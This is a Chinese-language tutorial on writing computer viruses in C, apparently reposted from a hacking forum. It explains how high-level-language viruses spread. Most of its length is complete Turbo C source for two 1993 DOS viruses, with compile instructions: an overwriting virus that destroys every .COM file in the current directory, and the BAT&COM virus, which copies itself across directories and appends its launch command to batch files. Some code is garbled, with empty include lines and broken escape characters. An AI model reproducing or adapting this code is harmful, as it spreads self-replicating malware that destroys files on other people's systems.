利用C編寫病毒

C是程序員最常用的編程語言之一。類似C等高級編程語言爲開發人員提供了大量的內置函數,可以方便程序員編寫各種跨平臺的安心的應用編程。對於編寫病毒而言,也方便了程序員來用自己擅長的語言來編寫,但同時也帶來了很多弊端。第一,許多高級語言的編程並不基於底層系統,即使是C也不太容易。這就導致這類的大都數病毒的傳播機制十分原始(通常是通過重寫來實現);另一方面的不足是,大多用高級語言編寫的病毒至少有10K,然而更多是比這還更大,這對病毒來說可行不通。如此大的一個常駐內存的病毒將是不切實際的,因爲當一大塊內存不明不白的消失時,這很容易引起用戶的注意。

  另一種用高級語言編寫的是代碼病毒(source-code virus)。這類病毒極其罕見,但是這類病毒是非常高效的。代碼病毒的機制,簡而言之,搜索同一類語言的代碼文件,比如說,它可能會搜找全部以“.C”爲擴展名的C文件,然後它會把自己的加到那個文件裏(通常以添加一個包含此程序的頭文件然後在main()函數中添加一個調用),這使病毒在編譯這文件時至少執行一次。編譯之後,病毒一般會隱藏在這程序裏潛伏,直到找到另一個C文件。

  不管病毒採用哪種方式,所有的病毒都具有如下一些共同的基本特性:

  1.搜尋一個文件進行感染,這文件可以是可執行文件,源代碼文件,或是什麼都行(若沒找到,則跳轉到第三步)

  2.把病毒本體寫入此文件

  3.檢查有沒可滿足的觸發條件

  4.返回宿主程序或是停止運行並返回到DOS

  對於重寫型病毒(Overwriting Virus),它的實現方式很簡單。唯一的不足是,它們會摧毀被感染的文件,這使它們很容易被發現。唯一彌補的辦法是,找到所有的被感染的文件並刪除它們,然後從備件那裏恢復。下面這個病毒是用C寫的比較簡單的重寫型病毒,它會感染當前目錄下的所有.COM文件,然後把它們徹底刪除。每當它感覺到一個文件,它會在屏幕上打印出“Infecting [FILENAME]”(感染 [文件名])警告。如果你想把它編譯並測試,則首先編譯它,然後用EXE2BIN把它轉化成.BIN文件,之後檢查它的最終大小。如果不等於9504K,則改寫這行:“x=9054;”成適當的大小。它會以一種很原始的方式:刪除所有的它命中.COM文件,因此得相當小心這病毒。

  代碼:

      - - ------------------ Cut Here -------------------------- - -
  /* This is a simple overwriting virus programmed in Turbo C */
  /* It will infect all .COM files in the current directory */
  /* Infections destroy the programs and cannot be cured */
  /* It was presented in Virology 101 (c) 1993 Black Wolf */
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
  #include 
  #include 
  #include 
  FILE *Virus,*Host;
  int x,y,done;
  char buff[256];
  struct ffblk ffblk;
  main()
  {
  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
  while (!done) /* Loop for all COM's in DIR*/
  {
  printf("Infecting %s/n", ffblk.ff_name); /* Inform user */
  Virus=fopen(_argv[0],"rb"); /* Open infected file */
  Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
  x=9504; /* Virus size - must */
  /* be correct for the */
  /* compiler it is made */
  /* on, otherwise the */
  /* entire virus may not*/
  /* be copied!! */
  while (x>256) /* OVERWRITE new Host */
  { /* Read/Write 256 byte */
  fread(buff,256,1,Virus); /* chunks until bytes */
  fwrite(buff,256,1,Host); /* left < 256 */
  x-=256;
  }
  fread(buff,x,1,Virus); /* Finish off copy */
  fwrite(buff,x,1,Host);
  fcloseall(); /* Close both files and*/
  done = findnext(&ffblk); /* go for another one. */
  }
  /* Activation would go */
  /* here */
  return (0); /* Terminate */
  }
  - - ------------------ Cut Here --------------------------- - -

下面要介紹的病毒也是用C編寫的,但它和上面所講的病毒在功能上有很大的不同。它不是感染可執行文件並重寫它們,而是感染指定目錄的.BAT文件。當BAT&COM執行的時候,它首先會在當前目錄的下一個目錄搜尋批處理文件(Batch file)。如果沒有找到任何的BAT文件,它會試着在根目錄裏找,最後會試着在DOS目錄下找。如果它找到了,它會感染此目錄下的所有批處理文件,然後檢查這文件已經被感染。如果沒有,就生成一個包含病毒,名叫BAT&COM的文件。在我的設置裏,用EXE2BIN轉換之後,最終大小約爲10K。這病毒代碼如下:

      The BAT&COM Virus in C
  代碼:
  - - - -----------------Start Code------------------------- - - -
  /* This file is a high-level language virus of a different sort.
  It will search out batch files and, when found, place a copy
  of itself in the directory with the batch file while adding
  instructions in the BAT to execute this new file. In this way,
  it will spread each time an "infected" batch is run.
  Disinfection is done simply by deleting all of the BAT&COM.COM
  files and removing the commands from batch files that ruin
  them. This one is NOT confined to the current directory,
  so make sure it is on an isolated machine and be sure to
  clean up any infections. PLEASE DO NOT RELEASE!
  BAT&COM virus is (C) 1993 Black Wolf Enterprises.
  */
  #include 
  #include 
  #include 
  #include 
  struct ffblk ffblk;
  main()
  {
  char old_dir[MAXPATH];
  Get_Path(old_dir); /* Save the old directory */
  Pick_A_Dir(); /* Find a new directory to */
  Infect_Directory(); /* infect and infect it. */
  chdir(old_dir); /* Return to old directory */
  return 0;
  }
  Pick_A_Dir()
  {
  int done;
  chdir(".."); /* First, Go out a DIR. */
  done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
  /* root and DOS */
  if (done)
  {
  chdir("//");
  done=findfirst("*.BAT",&ffblk,0);
  if (done) chdir("//DOS//");
  }
  return 0;
  }
  Infect_Directory()
  {
  int done;
  done = findfirst("*.BAT",&ffblk,0);
  while (!done) /* Find all .BAT files */
  { /* and add code to run */
  Do_Batch(); /* BAT&COM if not */
  done = findnext(&ffblk); /* already there */
  }
  if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
  {Copy_Virus();} /* not exist, then */
  return 0; /* copy it into dir.*/
  }
  Do_Batch()
  {
  FILE *batch;
  char Infection_Buffer[12];
  char vpath[MAXPATH];
  Get_Path(vpath); /* Get path for adding path */
  /* specifier in commands */
  if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
  batch=fopen(ffblk.ff_name, "rt+");
  fseek(batch, -11, SEEK_END);
  fread(Infection_Buffer,11,1,batch);
  Infection_Buffer[11]=0; /* Terminate String */
  if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
  { /* Batch is */
  fseek(batch, 0, SEEK_END); /* infected.*/
  fprintf(batch,"/n%s//BAT&COM.COM",vpath);
  } /*^- Add command */
  /* to batch */
  fclose(batch);
  return 0;
  }
  Copy_Virus()
  {
  FILE *old_virus, *new_virus;
  int write_length;
  char copy_buffer[1024]; /* Copy the virus to */
  /* new directory */
  old_virus=fopen(_argv[0],"rb");
  new_virus=fopen("BAT&COM.COM","wb");
  write_length=1024;
  while (write_length==1024)
  {
  write_length=fread(copy_buffer,1,1024,old_virus);
  fwrite(copy_buffer,write_length,1,new_virus);
  }
  fclose(old_virus);
  fclose(new_virus);
  return 0;
  }
  Get_Path(char *path)
  {
  strcpy(path, "A://");
  path[0] ='A' + getdisk(); /* Returns current path */
  getcurdir(0, path+3);
  return 0;
  }
  - - - -----------------End of Code------------------------ - - -

 http://www.nohack.cn/bbs/
http://www.nohack.cn/bbs/thread-88259-1-1.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章